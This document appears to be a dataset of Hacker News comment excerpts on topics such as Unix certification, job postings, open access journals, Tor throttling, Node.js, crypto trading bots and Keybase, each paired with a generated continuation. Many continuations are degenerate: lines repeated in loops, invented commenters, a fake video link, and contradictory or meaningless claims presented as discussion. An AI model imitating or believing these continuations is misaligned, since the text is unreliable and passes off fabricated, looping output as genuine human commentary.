not\n[https://www.opengroup.org/openbrand/register/brand3653.htm](https://www.opengroup.org/openbrand/register/brand3653.htm)\n\n~~~\nchungus_khan\nActually, Huawei's own EulerOS (which is based on CentOS Linux) is UNIX\ncertified as well:\n[https://www.opengroup.org/openbrand/register/brand3622.htm](https://www.opengroup.org/openbrand/register/brand3622.htm)\n\nLinux is not inherently compliant (and Deepin isn't AFAIK), but it is entirely\npossible to package a distribution which is and submit it for certification.\n\n------\nmytailorisrich\nHuawei seems to have put together a top design team. Both their phones and\nlaptops look gorgeous and the quality is there, too.\n\n~~~\nrasz\nDont forget their stores, they sure know a thing or two about copying designs\n1:1.\n\n~~~\ndannyr\nInteresting that you only mention copying on Huawei's part but not how Apple\nhas copied features on their IPhones from Huawei and other Asian phone makers.\n\n~~~\nmytailorisrich\nIt does look like the latest iPhone is playing catch-up with its 3 cameras.\nPersonally I prefer the design of the Huawei P30 Pro, though, so I'd say that\nHuawei"} +{"output_text": "Script.\n\nWe are looking for talented Clojure developers who are interested in working\nwith a small, highly-motivated team. We are also looking for experienced\ndevelopers who are interested in working with a small, highly-motivated team.\n\nWe are looking for people who are interested in working with Clojure and\nClojureScript. We are also looking for people who are interested in working\nwith Clojure and ClojureScript.\n\n", "input_text": " can bring Big Data and Machine Learning at the scale and price point\nwith the results we offer. We serve both B2B and B2C customers, with strong\nsuccess in both spaces.\n\nOur go-to-market solution is backed by a world-class ETL pipeline and data\nplatform that makes onboarding, insight-generation and integration with\ncorporate business processes many times faster than competitors or do-it-\nyourself alternatives. This platform is also a solid foundation for us to\nbuild future solutions.\n\nWho we\u2019re looking for currently:\n\nSenior Solutions Engineer (Seattle, Full Time, ONSITE, $100k-140k and 0.1% -\n0.3% stock options comp) which is our term for solutions architect,\nimplementation engineer, forward deployment engineer. If you\u2019re familiar with\npython and SQL you can apply from our AngelList listing\n[https://angel.co/appuri/jobs/75799-senior-solutions-\nengineer](https://angel.co/appuri/jobs/75799-senior-solutions-engineer)\n\n------\nsamroberton\nROKT | www.rokt.com | Sydney, Australia | ONSITE\n\nSoftware Engineers (Clojure/ClojureScript)\n\nROKT is hiring thoughtful, talented functional programmers, at all levels, to\nexpand our Clojure team in Sydney.\n\nROKT is a successful startup (~100 employees) with a transaction marketing\nplatform used by some of the world's largest ecommerce sites. Our Sydney-based\nengineering team supports a business that is growing rapidly around the world.\nOur Clojure team is responsible for a variety of sites and services written in\nClojure and Clojure"} +{"output_text": "ugh\n_The priorities of private research would seem to be a very different\nthreshold._\n\nI don't think that's true. The priorities of private research are the same as\nthe priorities of public research.\n\n~~~\nrobg\nI'm not sure I agree. I think the priorities of private research are\ndifferent.\n\nI think the priorities of private research are to make money.\n\nI think the priorities of public research are to advance science.\n\nI", "input_text": " attended _free_ lectures by Sir Humphrey Davy and then went\non to become one of the greatest scientists of all time.\n\nWow. Those were the days.\n\n------\nrobg\nFurthermore, where else do content creators pay for the privilege of\npublishing their work (over $1000 usually per paper), then have those\noutrageous rates for visitors to access that work?\n\n~~~\nrglovejoy\nAnd even furthermore, most of the research being reported in these journals\nwas paid for with taxpayer money.\n\n~~~\ndcurtis\nMost? Really? Government grants don't fund more than _half_ of scientific\nresearch, do they?\n\n~~~\nrobg\nThe budgets in 2008:\n\nNIH = $28B\n\nNSF = $6B\n\nThat's $34B. While surely there's alot of private R&D (and more government),\nit's rare that I see a paper from industry, but then my field is biased\nagainst it. And there are private foundations. Does enough published research\ncome from those private sources to outweigh publically funded studies? I\nwouldn't bet on it. Remember, there's a perpetual cycle in most public funding\nwith publications. In order to get funded, you have to show a record of\npublishing. The priorities of private research would seem to be a very\ndifferent threshold.\n\nStill, it's a solid point. You've paid for our research. Why should you have\nto pay to access our reports?\n\nTo be fair though, I have yet to hear about complaints from journals regarding\nresearchers who post their reports on their public websites. But that makes it\nhard to find things. Journals would surely squawk if there were alternative\nrepositories.\n\n~~~\nh"} +{"output_text": "\" by the media, and it's just not true.\n\n~~~\njamesaguilar\nI think you're being a little harsh. The article is not saying that smarter\nkids are better at math and science. It's saying that smarter kids are more\nlikely to be interested in math and science.\n\n~~~\naresant\nI'm not being harsh, I'm being honest.\n\nThe article is a rehash of the same data that Freakonomics has", "input_text": ". I ditched my iPhone after my 2-year-old started\nsaying, \"Dadda, put your phone down! Come play!\". It's relegated to my office\nnow.\n\n~~~\nehsanu1\nIn fact, if one has sufficient savings and has no worries about career,\nquitting the full-time job also makes a lot of time/energy for the kids.\nThat's pretty drastic, but I'd consider it myself in the future.\n\n~~~\nwatmough\nI've just spent two years bringing up my daughter (and iPhone apps on the side\nat night), whilst my wife works.\n\nHighly recommended, if you can swing it, at least once.\n\nNow, how to get back in the work-force...\n\n~~~\ntomjen3\nYou can go back as a consultant for ios development.\n\n~~~\nwatmough\nIf only I had the social skills!\n\nYeah, hopefully something will turn up. I'm actually not that bad. I worked in\nan consulting shop for 4 years and commuted across the US every week.\n\n------\naresant\nAhhhh freakonomics, meaninglessness-mass-market-pseudo-data-into-linkbait at\nits finest!\n\nTheir read is that \"Smarter\" kids = Math and Science test scores.\n\nIs that how you measure \"smart\"?\n\n\\- What about musically smart?\n\n\\- What about non-linear thinking (classic entrepreneur trait)?\n\n\\- What about decision making capabilities?\n\nFreakonmics is link-bait data drivel that, due to its mass appeal, is\ndangerously influential.\n\nIt gets under my skin because you'll often see Freakonomics data repeated as\n\"truth"} +{"output_text": "-devops/)\n\nQuividi is a French startup that develops a platform for the creation of\ndigital content. We are looking for a Python DevOps engineer to join our team.\n\nYou will be responsible for the automation of our build and release process.\nYou will be responsible for the deployment of our platform on AWS.\n\nYou will be working with our team of developers and designers to build a\nplatform that will allow them to create and publish digital content.\n\n", "input_text": ".\n\n------\ndror\n[http://www.worldreader.org](http://www.worldreader.org) | Senior Android\nDeveloper| Barcelona| Onsite | Full-time\n\nWorldreader is a non-profit on a mission to bring digital books to all\nchildren and their family, so that they can improve their lives. Every month\nover half a million people use Worldreader\u2019s library of 40,000 e-books to read\nin 40 languages in countries such as Ethiopia, Nigeria, India and Philippine\n\nYou'll join our international team in Barcelona's Eixample district.\n\nWe're looking for an experienced Android developer to enhance our existing\napps:\n\n* Read to Kids: [https://play.google.com/store/apps/details?id=org.worldreade...](https://play.google.com/store/apps/details?id=org.worldreader.readtokids)\n\n* Worldreader: [https://play.google.com/store/apps/details?id=com.worldreade...](https://play.google.com/store/apps/details?id=com.worldreader)\n\nAnd help develop our new Worldreader Classroom app to help students read and\nlearn how read in the classroom.\n\n[https://www.worldreader.org/about-us/jointheteam/careers-\neur...](https://www.worldreader.org/about-us/jointheteam/careers-\neurope/#SrAndroidDeveloper)\n\n------\npetmycat\nQuividi | Python DevOps | Paris | REMOTE FULLTIME\n[http://www.quividi.com/jobs-python-devops/](http://www.quividi.com/jobs-\npython"} +{"output_text": " a month.\n\nI'm not sure if it's because I'm in a rural area or what, but I've never had\nany issues with them.\n\n------\njosh2600\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.", "input_text": ". Even when the rest of the internet was\nbollocks. It makes me wonder if they intentionally toss speed test traffic\ninto one of their \"fast lanes\" to trick people into thinking they're getting\nfaster speeds than what they're actually getting.\n\n~~~\ncmdrfred\nI've always thought this myself, what prevents them from doing so?\n\n~~~\nZikes\nApparently, nothing. After I had narrowed the issue down to torrents, I called\nAT&T and confronted them with the evidence. On the phone with me they directly\nsaid \"we do that to prevent illegal activity over our service lines.\"\n\nNo amount of \"torrenting is not illegal\" worked, and I didn't really expect it\nto. They don't care about the legality, they only use it as an excuse to keep\ncustomers from getting the full usage of the service they pay for.\n\n------\ndj-wonk\nThe source article is more detailed and worth reading:\n[http://www.deepdotweb.com/2014/09/13/comcast-declares-war-\nto...](http://www.deepdotweb.com/2014/09/13/comcast-declares-war-tor/)\n\n------\nkstenerud\nThe title of this posting is wholly inaccurate. Comcast is DENYING that any\nthreat to cut off Tor users occurred. They deny most points in the article on\nDeepDotWebm including all alleged evidence, and have flatly stated that\ncustomers can use Tor all they want.\n\n------\nat-fates-hands\nI got lucky. I went with Century Link when I found out the D-Mark is about 50\nyards from my house and haven't looked back.\n\nDropped my bill by about $40"} +{"output_text": " front-end engineer will be working with our team of designers and\ndevelopers to build a web application that will be used by our customers.\n\nWe are looking for someone who is passionate about the outdoors and has a\nstrong understanding of front-end development.\n\nIf you are interested, please email me at brendan@mountainhub.com\n\n------\njames-fend\nFend | San Francisco, CA | Full-time | ONSITE\n\n", "input_text": " did apply to few engg positions last\nmonth, but did get a reply yet. Could you please elaborate more on the\nprocess? Thanks!\n\n------\nzach-kuhn\nSmashing Boxes | Multiple Positions | Durham NC, New Orleans LA | ONSITE\n[https://smashingboxes.com/](https://smashingboxes.com/)\n\nWho we're looking for:\n\n \n \n - iOS Developers\n - QA Engineers\n - Designers\n - Project Managers\n - Digital Marketing Interns\n \n\nSmashing Boxes is a digital product agency with locations in Raleigh-Durham\nand New Orleans. Our team is growing and we're looking for people who are\ncurious, kind, creative, and great at what they do. We work with exciting\nclients ranging from startups trying to get new ideas off the ground to\nFortune 500 companies tackling big challenges.\n\nOur interview process typically consists of an informal phone screen, and an\nhour or two of on-site interviews with team members and your future manager.\n\nApply to any of our openings at\n[https://smashingboxes.com/careers/](https://smashingboxes.com/careers/) or\ncontact me directly at zach@smashingboxes.com.\n\n------\nbrendanmh\nMountain Hub | Front-end Engineer | Park City, UT | ONSITE\n\nDo you want a proper job based in a ski resort?\n\nWe are looking for a front-end engineer to work on our website that shows\nreal-time observations about safety and experiences in the outdoors.\n\nOur company is well funded with around 20 employees in Park City and Chamonix.\nThis position is onsite in our Park City office.\n\nThe"} +{"output_text": " visible to the goats, but not so much that they\ncan't find it.\n\n------\njoshu\nI think the best way to learn is to do.\n\n------\njoshu\nI think the best way to learn is to do.\n\n------\njoshu\nI think the best way to learn is to do.\n\n------\njoshu\nI think the best way to learn is to do.\n\n------\njoshu", "input_text": "ina or interest to simply draw, i guess this is not a bad\nthing. The other way to see the thing is that you'll eventually get better at\nit.\n\nThat said, designers do tend to develop a variety of manias and sensibilities\nthat, well, _seem to be related_, vaguely, to their craft. If you're willing\nto try to get that, i would recommend a very, very old book. I know this goes\ndirectly against what you were looking for, but, again, that is my opinion:\nSymbols and Signs, by Adrian Frutiger. (Amazon has it, not sure if it is bad\nform to put an amazon link here... Also, i do only know the Brazilian edition\nso i can give no advice about that...). Maybe this book can come out sounding\nlike full of rules, but that is not the point.\n\nAnother, more recent book that is also incredible, but even more paranoid (the\nguy goes pages and pages discussing commas, then semi commas, then colons, and\ni just love it!) is The Elements of Typographic Style by Robert Bringhurst.\n\nFinally, designers always do end up getting a bit of cognitive psychology, and\nit is a good thing, but no self-respecting psychologist could purport to\nunderstand the human cognitive system, so i would say avoid the ones who are\ntoo sure of themselves like how-to guides to Gestalt, those are just gimmics.\nFind something that is serious about cognitive science, but not serious enough\nthat you'll sleep, and that is it. You can always go back for more...\n\n------\nsamratjp\nAs a friend of mine says - marketing and good UX is like laying grass out for\nthe goats. It must be easily"} +{"output_text": "elted\nI'm not sure I understand the point of this article.\n\nIt's not like Microsoft is going to stop supporting Windows. They're going to\ncontinue to support Windows, and they're going to continue to support\nWindows/Xbox.\n\nThe only thing that's going to change is that they're going to stop supporting\nWindows/Xbox on Windows.\n\n~~~\njosteink\n> The only thing that's going to change is that they're", "input_text": " that don't make any\nsense.\n\n------\npksdjfikkkkdsff\nI can't really follow the article. Too much paranoia, or negativity, I guess.\n\nAll I care about is having a usable Linux shell and Linux tool on my Windows\nmachine. What else can you expect from Microsoft? Yeah, they are doing it so\nthat people don't switch over to Linux completely. What more can you expect?\n\nIs it even Microsoft's job to establish a standard for 3d Graphics and what\nnot? Or is the ball in the park of graphics card vendors and game developers?\n\nWhy do I have Windows on my machine? I don't fully trust Linux to achieve the\nsame level of power management. I can play games. I have a dual graphics card,\nwhich would be a hassle to use on Linux.\n\nIt would be notebook vendor's job to release Linux notebooks with good power\nmanagement. Chip vendors to release specs that enable Linux developers to\ncreate such drivers. And so on.\n\n~~~\ngowld\nWhy wouldn't an Operating System developer be responsible for providing an\ninterface between hardware developers and applicaton developers?\n\n~~~\npksdjfikkkkdsff\nOpenGL seems to have coexisted with DirectX for a while. I don't know enough\nabout OS development to be able to judge if Microsoft prevented OpenGL from\nachieving the same performance as DirectX.\n\nGiven the abysmal security history of Windows, my guess would be that it was\npossible to get close to the metal as a driver developer, at least in the old\ndays.\n\nAlso MS couldn't be expected to take care of an interface that works on iOS\nand Linux. They are responsible for Windows.\n\n------\nheadm"} +{"output_text": " it is not\neasy.\n\n~~~\njoshu\nIt's not easy, but it's not impossible.\n\n~~~\nfelipemnoa\nI agree. It's not impossible, but it's not easy.\n\n------\njoshu\nI'm not sure what the answer is.\n\nI think the answer is that you have to be a big company.\n\n~~~\njoshu\nI'm not sure what the answer is.\n", "input_text": "plus 5% of all future revenue from your products?\"\n\nCEO: \"If I spend the ten thousand on a lawyer, I can file some motions to\ndelay your lawsuit. _Then_ I can go bankrupt. You'll get nothing then. So, how\nabout one thousand bucks and 0.5% of future revenue?\"\n\nTROLLCORP: \"Two thousand and 2%.\"\n\nCEO: \"Done.\"\n\nAs with any parasitic transaction, the parasite has no rational interest in\nkilling you. Dead companies don't pay. The danger, of course, is that they\nwon't be reasonable and will accidentally push too hard, in their attempt to\nconvince you to search under more sofa cushions for loose change that they can\ntake. Or that they are, in fact, happy to kill your company because they think\nit will be an instructive demonstration for the other companies they sue. Or\nthat they will gradually consume your time and suck your blood and your\ncompany will eventually die of exhaustion in 2% increments. But, you know,\nthis is why it's good to be a _small_ company. Having nothing means having\nnothing to lose.\n\n~~~\n5hoom\nThe \"can't squeeze blood from a stone\" defence is probably your best bet if\nyou're a really small operation, but as you say you'd just better hope the\npatent troll is behaving in a rational manner & not trying to make an example\nof you. I would assume that a rational troll would only harass you if you were\ngetting noticed & making a profit, but who knows what kind of reasoning goes\non within the lizard hind-brain of your standard patent troll types...\n\n------\nfelipemnoa\nIf it were easy, everybody would be doing it. It does suck that"} +{"output_text": "'t we expect that the\ncreativity will be more in the direction of \"garage\" than \"garage\" of\n\"garage\"?\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It's a press release\nwritten by a PR firm.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It's a press release\nwritten by a PR firm.\n\n------\n", "input_text": " get several kinds of tax breaks. Also, many founders get\nstarted while on unemployment benefits.\n\n~~~\ncracker_jacks\nWhat are you thinking the salary of early stage startups are in the Bay Area?\nI really doubt the ratio is 2:1 compared to Paris.\n\n~~~\nhocuspocus\nGross salary would be more like 3:1. Real cost to the employer at least 2:1.\n\nI just opened AngelList to search for junior developer positions at seed-stage\nstartups and it confirms the ratio.\n\nSF: 80-120k\n\nParis: 30-45k\n\n------\nhn_news\nIf start up becomes successful, Will Facebook own part of the equity in this\nstart up?\n\nAs a founder, why would i want to give up equity to Facebook? Why would i need\nto be in this \"garage\"?\n\n------\nd_theorist\n\"Thirty students will meet with Facebook every week to make the world a better\nplace (or that\u2019s how I think about it).\"\n\nFantastic neutral reporting here from TechCrunch. Not at all just a recycled\npress release.\n\n~~~\nJordrok\n_\" But most importantly we're making the world a better place. Through\nconstructing elegant hierarchies for maximum code reuse and\nextensibility.\"_[1]\n\nWhich one is the parody? Sometimes it's hard to tell.\n\n[1]\n[http://www.imdb.com/title/tt3222784/quotes?item=qt2896998](http://www.imdb.com/title/tt3222784/quotes?item=qt2896998)\n\n------\ntrhway\ngiven the history of creativity in Paris shouldn"} +{"output_text": " in, he's unable to do it.\n\n------\njamesbritt\n\"The problem is that the people who are going to be able to do this are not\nthe people who are going to be able to do the other things that are required\nto do this.\"\n\nI think this is a problem with the whole \"skills\" thing.\n\nI've been working on a project for a while now, and I've been trying to\nfigure out what skills", "input_text": " And as far as life is concerned, in the world\nas it is today, winging it is certainly a more valuable skill than quantum\nmechanics.\n\n~~~\nregomodo\nSmall case-study I know but I work with somebody who just came out of\nCambridge and did a CS-like degree.\n\nHe cannot program for shit and talks like he does but show him a bit of C(++),\nPHP, javascript (even bash or Python) and his eyes just glaze over. I was\nteamed with him but he was forever unable to get anything done. In the end I\nwas left with it all and made much better progress and he was left to book to\noverheads.\n\nI'm certain he's an edge case though, I've met a few others who went to\nOxbridge and they are definitely on the ball. However, I've found those who\nwent to Bristol, Imperial or Loughborough are people that are the smartest.\n\n~~~\nswombat\nThat's not a case study, just an anecdote. In my experience, there were almost\nno people in Oxford that I wouldn't consider \"very smart\". Probably the only\nplace in the world where that's been true.\n\nThat said, I don't know how Cambridge's \"CS-like\" degree is/was, but Oxford's\nwas very bad at actually teaching programming.\n\nThen again, are you really sure he went to Cambridge? Smart people have no\nproblem with learning to program when they need to. That guy doesn't sound so\nsmart...\n\n~~~\nregomodo\nYeah, anecdote is the correct term. He definitely went to Cambridge which is\nwhy we questioned his choice of employer (the hirers decision). It doesn't\nmatter what language he's given a task"} +{"output_text": " online.\n\n[http://www.amazon.com/Elements-Style-William-\nStrunk-Jr/dp/0...](http://www.amazon.com/Elements-Style-William-\nStrunk-Jr/dp/0679762825)\n\n------\njoshu\nI think the problem is that the students are not being taught to write well.\n\n~~~\njoshu\nI think the problem is that the students are", "input_text": " asks 100 students for a paper on an\nassigned topic, they're not looking for originality. They just want to see if\nyou can write or not. I always had felt that I should write something original\nand was worried constantly that I was re-hashing an idea the teacher had\nalready seen dozens of times. But then I asked several teachers about it and\nthey said they weren't looking for originality. After all you can't expect\nthousands of students of the same age in the same class at the same school\nwith the same teacher to think very differently from one another.\n\n~~~\nnocipher\nOf course they aren't looking for originality. It can't be expected. When you\ngive students a really difficult test, you don't expect everyone to make an\n\"A\". You expect some to fail (\"D\") and many to be just average (\"C\"). Some\nselect few, however, will defy the norm and manage an \"A\".\n\nThe situation with assigned writing is the same. Some will elegantly write\nmany droll, boring statements and back them up with some personal anecdotes or\nstories they came across while doing research. Those will stand out against\nthe poorly written droll, boring statements. They'll get higher scores.\n\nThe few that break the mold and do something completely unexpected will\ndefinitely stand out. If they can back up their originality with half decent\nability, they'll stand out even more than the \"standard excellence\". Those\npeople will definitely get an A.\n\nThe conclusion is sound. If you beat the expectations people have of you, good\nthings will likely happen.\n\n------\npizza\nJust read Strunk and White's _Elements of Style_.\n\n~~~\nhkmurakami\nJust discovered that this is available free"} +{"output_text": " he says, I think he's missing the point.\n\nNode.js is not a replacement for Python. It's a replacement for PHP.\n\n~~~\njoshu\nI think he's missing the point that he's not using node.js for the same\nthings he was using python for.\n\n~~~\nbtomar\nI think he's missing the point that he's not using node.js for the same\nthings he was using python for.\n\n", "input_text": " your\napplication is I/O heavy (e.g. tons of sql queries which can be executed in\nparallel), nodejs event system is helpful and everything you need is pretty\nmuch out of the box. Other thing... it largely depends on personal taste and a\nmatter of convention.\n\nReading his \"Why I\u2019m switching from Python to Node.js\", doesn't seem like he\nwas having an issue with that. And I don't really buy into the \"same language\neverywhere\" argument because come on, how hard is it to learn python, ruby,\netc enough so that you can be productive? Not hard at all, unless you have\nhundreds of cubicles filled with drones.\n\nAnyway, it's good to see that he made some reasonable conclusions after the\nexperiment. That's a good sign :)\n\n~~~\nMichaelGG\nSame language, in theory, is great. Reuse structure definitions. Reuse\nrendering logic or even validation logic (perform checks on both, but make it\neasy to get into client-side). In general, keeping things \"in sync\".\n\nAlso can make it easier to write in SPA style but offload rendering to the\nserver when you need it (particularly first-page or reloads).\n\nWhether or not tooling is good enough to allow this (either with JS or\ncompilers) is another issue.\n\n------\nClobbersmith\nWe use NodeJS pretty extensively at Yahoo for both front end and back end\nservices and it works well. While some of the complaints are valid, it's not\nworth flipping tables over.\n\nPromises are standard in ES6 and it is \"the way\" to handle errors. At least if\nyou want to stay sane.\n\n------\nbtomar\nThough I agree with what"} +{"output_text": ".youtube.com/watch?v=Z_0_0_0_0gE>\n\n------\njrockway\nI'm not sure if this is a good thing or not. I mean, I'm not sure if it's a\ngood thing to have a president who is so old that he can't remember what he\ndid yesterday.\n\n~~~\njrockway\nI guess I should have said \"I'm not sure if it's a good thing", "input_text": "...\n\n[http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.h...](http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.html)\n\n\n\n\n\n------\nxefer\nI'm reminded of this:\n\n\"Supreme Court Justice Oliver Wendell Holmes, Jr., who had served on the bench\ninto the nineteen-thirties, had in his long lifetime shaken hands with John\nQuincy Adams and also our new incumbent, John F. Kennedy.\"\n\n\"Old Country\" by Roger Angell. The New Yorker; September 11, 2006\n\n[http://www.newyorker.com/archive/2006/09/11/060911ta_talk_an...](http://www.newyorker.com/archive/2006/09/11/060911ta_talk_angell)\n\n~~~\nstrait\nHe lived long enough into the era where his speech or interview could have\nbeen filmed. I couldn't find anything on YouTube; perhaps he was too frail by\nthe 1930's to be doing such things.\n\nI like finding these old film clips featuring performances from ancient\nlegends.\n\nThomas Edison (born 1847)\n[http://www.youtube.com/watch?v=Ftii6D68Veo&feature=relat...](http://www.youtube.com/watch?v=Ftii6D68Veo&feature=related)\n\nSir Ian Hamilton (born 1853) There are a high amount of horror stories we hear about them on HN, from\n> both the students' and hiring managers' perspectives.\n\nCan you link to them? I'm trying to do due diligence on some of them, but\nhaven't been able to find much at all of substance. I'm specifically\ninterested in Maker's Academy in London.\n\n~~~\nlinkregister\nJust going from what I remembered reading, here are the ones that stood out\nthe most. Comments vary from supporters to detractors.\n\nAsk HN threads I found interesting:\n\n[https://news.ycombinator.com/item?id=8844848](https://news.ycombinator.com/item?id=8844848)\n\n[https://news.ycombinator.com/item?id=7147664](https://news.ycombinator.com/item?id=7147664)\n\n[https://news.ycombinator.com/item?id=9616691](https://news.ycombinator.com/item?id=9616691)\n\nThe one I really wanted to find, which accompanied an article about some\nstudents who felt scammed by their bootcamp, is eluding me right now. It was\nan interesting article about how the students were required to post misleading\nst"} +{"output_text": "'s possible to have a bot that\nmanipulates the market, and then another bot that is a 'market maker' that\nmakes a market for the bot that manipulates the market.\n\n------\njedberg\nI'm curious how this compares to the strategy of using a bot to buy low and\nsell high.\n\n~~~\nlvturner\nI'm not sure what you mean by 'bot to buy low and sell high'?\n\n~~~\njedberg", "input_text": " a bot, though. For any form of trading\n(whether manually or through some form of automation), of course there's going\nbe some choice of buys & sells that return a profit.\n\nHow you choose such a profitable strategy is a huge area of discussion.\nHowever, it's a completely different subject to the article, which is just\nfocused on the mechanism of running a bot.\n\n------\nbigiain\n> # Install NPM dependencies\n\n> $ npm install\n\nSo we know for sure that there's not a malicious leftpad.js getting pulled in\nthere that looks for and exfiltrates your exchange credentials?\n\nYeah - I'm not going there... Not anywhere near there...\n\n------\noil7abibi\nAll this post is how to set up a github project. Nothing more. I\u2019d hope to\nrather see writing on portfolio management, risk management, or other\nstrategies.\n\nThat said, Zenbot actually provides a decent platform to start trading.\n\n------\nlvturner\nThanks for this - would be nice if the article included an example on how a\nstrategy was built, or how to add additional ones into the framework.\n\n------\njiggunjer\nI've heard of strategies where multiple accounts can collude to manipulate the\nsolo bots that make statistical decisions. Is this a real danger when\nprofessional companies start getting involved in crypto?\n\n~~~\na13n\nHmm, just looking at GDAX's API, you aren't able to tell who's making an\norder. You don't know if it's one account with ten orders, or ten accounts\nwith one each. So I don't see why multiple accounts would be an advantage.\n\n~~~\nlvturner\nOne thing that springs to mind is that it"} +{"output_text": " resampling is\nbroken in firefox.\n\n~~~\nmattmanser\nYou're not joking about changing speed, you're joking about changing the\nquality of the resampling.\n\nYou're not joking about file a bug report, you're joking about file a bug\nreport.\n\nYou're not joking about changing speed, you're joking about changing the\nquality of the resampling.\n\nYou're not joking about file a bug report, you're", "input_text": "o\n\"Browsers are often horrible at resizing files; it would not look good at\nall.\"\n\nWhat's with the weasel words? You can name names if you want. Which browsers?\nwhat do they do that makes them look horrible? The only browsers left I know\nof that use nearest neighbour resampling are ie7 and ie8.\n\n\"If you want to mess with speed, save it.\"\n\nYou're joking, right?\n\n\"If you want a way to trigger replay in your browser, file a bug report.\"\n\nyou definitely are joking. You think I'm the first person to ever want that?\n\n~~~\nDylan16807\nI'm not joking when I say right click should have a repeat option. Why does a\nsuggestion to file a bug report sound dismissive to you? It's not like I told\nyou to code it yourself.\n\nI'm not joking about changing speed; how often do you want to play a video in\nslow motion? It's not really the browser's job to do that.\n\nI used weasel words because I didn't want to go testing. In addition to me\nremembering additional issues on my phone, Opera and IE10 do bad resampling,\nand chrome does a weird thing where it shows bad resampling for a couple\nseconds before replacing it with good resampling. Specifically, when I say\n'bad' here, it's not nearest neighbor but it's not using a proper method\neither. Small details, such as lines 3-4 pixels wide, disappear entirely in\nspots when I zoom out. They're using algorithms that only sample a couple of\npoints, which breaks down terribly on sizes like 33%.\n\nEdit: I found a mozilla bug report claiming that high-quality"} +{"output_text": "\nlink and the video).\n\n------\njoshu\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm a musician, and I'm looking for a good way to learn to play guitar. I\ndon't have a lot of time, and I don't want to spend a lot of money.\n\nI've been playing for a few years, but I'm not very good. I've been playing\nfor", "input_text": ".youtube.com/watch?v=YAqTrbuxCRI](http://www.youtube.com/watch?v=YAqTrbuxCRI)\n\nJames Cotton - Cotton Crop Blues, on Sun Records. Recorded 1954, with a guitar\nsolo harder/heavier than most records up until the late 60s (with a few\nexceptions like Dick Dale). And it features distorted power chords. Pretty\nmuch the first really heavy track out there, I figure. It's my go-to point to\nshow people the origins of heavy, distorted guitar music.\n\nI also like to show them some Bob Wills & His Texas Playboys, as he had a lot\nof electrified instruments (electric guitar, electric mandolin, pedal steel)\nand was a big influence on Chuck Berry and Elvis. Plus I love Bob Wills.\n\n[http://en.wikipedia.org/wiki/Origins_of_rock_and_roll](http://en.wikipedia.org/wiki/Origins_of_rock_and_roll)\ndoes a pretty good job of covering the important records that led up to the\nexplosion of rock music in the 60s. Not sure about how it is beyond that.\n\nPretty glad a musical topic came up here on HN, though. I'm more passionate\nabout music history than I am about computer science (though there are no\ncareer prospects there, so CS it is).\n\n~~~\nGoodIntentions\nOT, but that Cotton Crop Blues link is at 6575 views as of now. (19:25\n6Aug2013 ) Very curious to see what an HN link does to it.\n\n~~~\nZecc\nIt's at 6605, after nine hours (according to the time indicator between your"} +{"output_text": "...](http://web.archive.org/web/20120902234719/http://dayoneapp.com/support/passwords/)\n\n4\\. \n\n5\\. \n\n~~~\nkmfrk\nLooks like they have punted on encryption for over a year, which seems like a\nvery weird and careless thing to do:\n\n1\\. \n\n2\\. [http://iphone.appstorm.net/reviews/lifestyle/day-one-a-\ngorge...](http://iphone.appstorm.net/reviews/lifestyle/day-one-a-gorgeous-\nsynchronized-journalling-app/#comment-894327741)\n\n3\\.\n[http://web.archive.org/web/20120902234719/http://dayoneapp.c"} +{"output_text": " on the plants to tell them where to go. That's\nwhat the GPS is for.\n\n~~~\njessaustin\nI'm not sure that's a good idea. I've seen it done, and it's not a good idea.\n\n~~~\nAnimats\nIt's not a good idea for a lawn. It's a good idea for a vegetable garden.\n\n~~~\njessaustin\nI'm not sure that's a good idea for a vegetable", "input_text": " basic\noperation.\n\n~~~\nlarrydag\nOr just put chicken wire around areas you don't want weeded\n\n------\nmikepurvis\nDiscussion from 2017:\n[https://news.ycombinator.com/item?id=14715110](https://news.ycombinator.com/item?id=14715110)\n\nI maintain my position at the time: weeding is almost never just weeding.\nYou're there monitoring a lot of different aspects of your plants' health and\nprogress; you need to do that whether you're weeding or not, so you might as\nwell be weeding.\n\nThis is a solution in search of a problem, and none of these people seem like\ngardeners.\n\n------\nbjornlouser\n[https://www.youtube.com/watch?v=VwTWhMbnq9g](https://www.youtube.com/watch?v=VwTWhMbnq9g)\n\n~~~\nThePadawan\nThe video calls \"the typical garden size in the US\" 100 sq ft (or 9 m^2). I\nfind it hard to wrap my head around that number. If I had 9m^2 of green, I\nwould never call that a garden.\n\nSurely this is the average, but not the mean? As lots of apartments won't have\ngardens at all.\n\n~~~\nTFortunato\nI think maybe they are using the word \"garden\" in the US sense of \"part of\nyour land sectioned off to grow vegetables, fruits, etc.\", not \"the green\nspace in your land surrounding the home\" which we'd refer to as the lawn.\n\n------\nAnimats\nOh, you have to put markers"} +{"output_text": "anderson92\nI'm not sure how this is different from GitHub.\n\n~~~\nj7ake\nI'm not sure how this is different from GitHub.\n\n~~~\ntanderson92\nI'm not sure how this is different from GitHub.\n\n------\nj7ake\nI'm not sure how this is different from GitHub.\n\n~~~\nj7ake\nI'm not sure how this is different from GitHub.\n\n~~~\ntanderson92", "input_text": "> What if my computer is compromised?\n\n> Your work is only as safe as your endpoints, so we can't help you there.\n\nThis applies regardless of host or protocol, BTW, and it isn't even specific\nto computing. (It doesn't matter how many locks you have on your front door if\nyou leave the back door propped open.)\n\n~~~\nj7ake\nHi pass uses gpg encryption on the text files my only concern are the file\nnames which can leak meta info, for example just searching GitHub\n[https://github.com/zurchpet/pass](https://github.com/zurchpet/pass) shows\nthis person has passwords in a public repository but encrypted. Nevertheless I\ncan see that the file names are credit card info and other sensitive info.\nIt's like having a safe with a label \"important stuff inside\"! Does keybase\nsolve this problem?\n\n~~~\ntanderson92\nYes, the contents of the git repository holding your pass files are encrypted,\nmeaning that the file names are not visible to anyone without the private key\n(you).\n\nYou may also want to look at [https://github.com/roddhjav/pass-\ntomb](https://github.com/roddhjav/pass-tomb)\n\n~~~\nj7ake\nThanks for that I'll consider it.\n\n------\nValentineC\nFrom the article:\n\n>> _What are the limits?_\n\n> _You can have as many repositories as you want, but the total for your\n> personal repositories can 't exceed 100GB. Each team also gets 100GB._\n\nIs there anything stopping people from creating team after team just to hoard\ndata in Keybase?\n\n------\nt"} +{"output_text": ",\nand Nerds.\n\nGeeks are the ones who 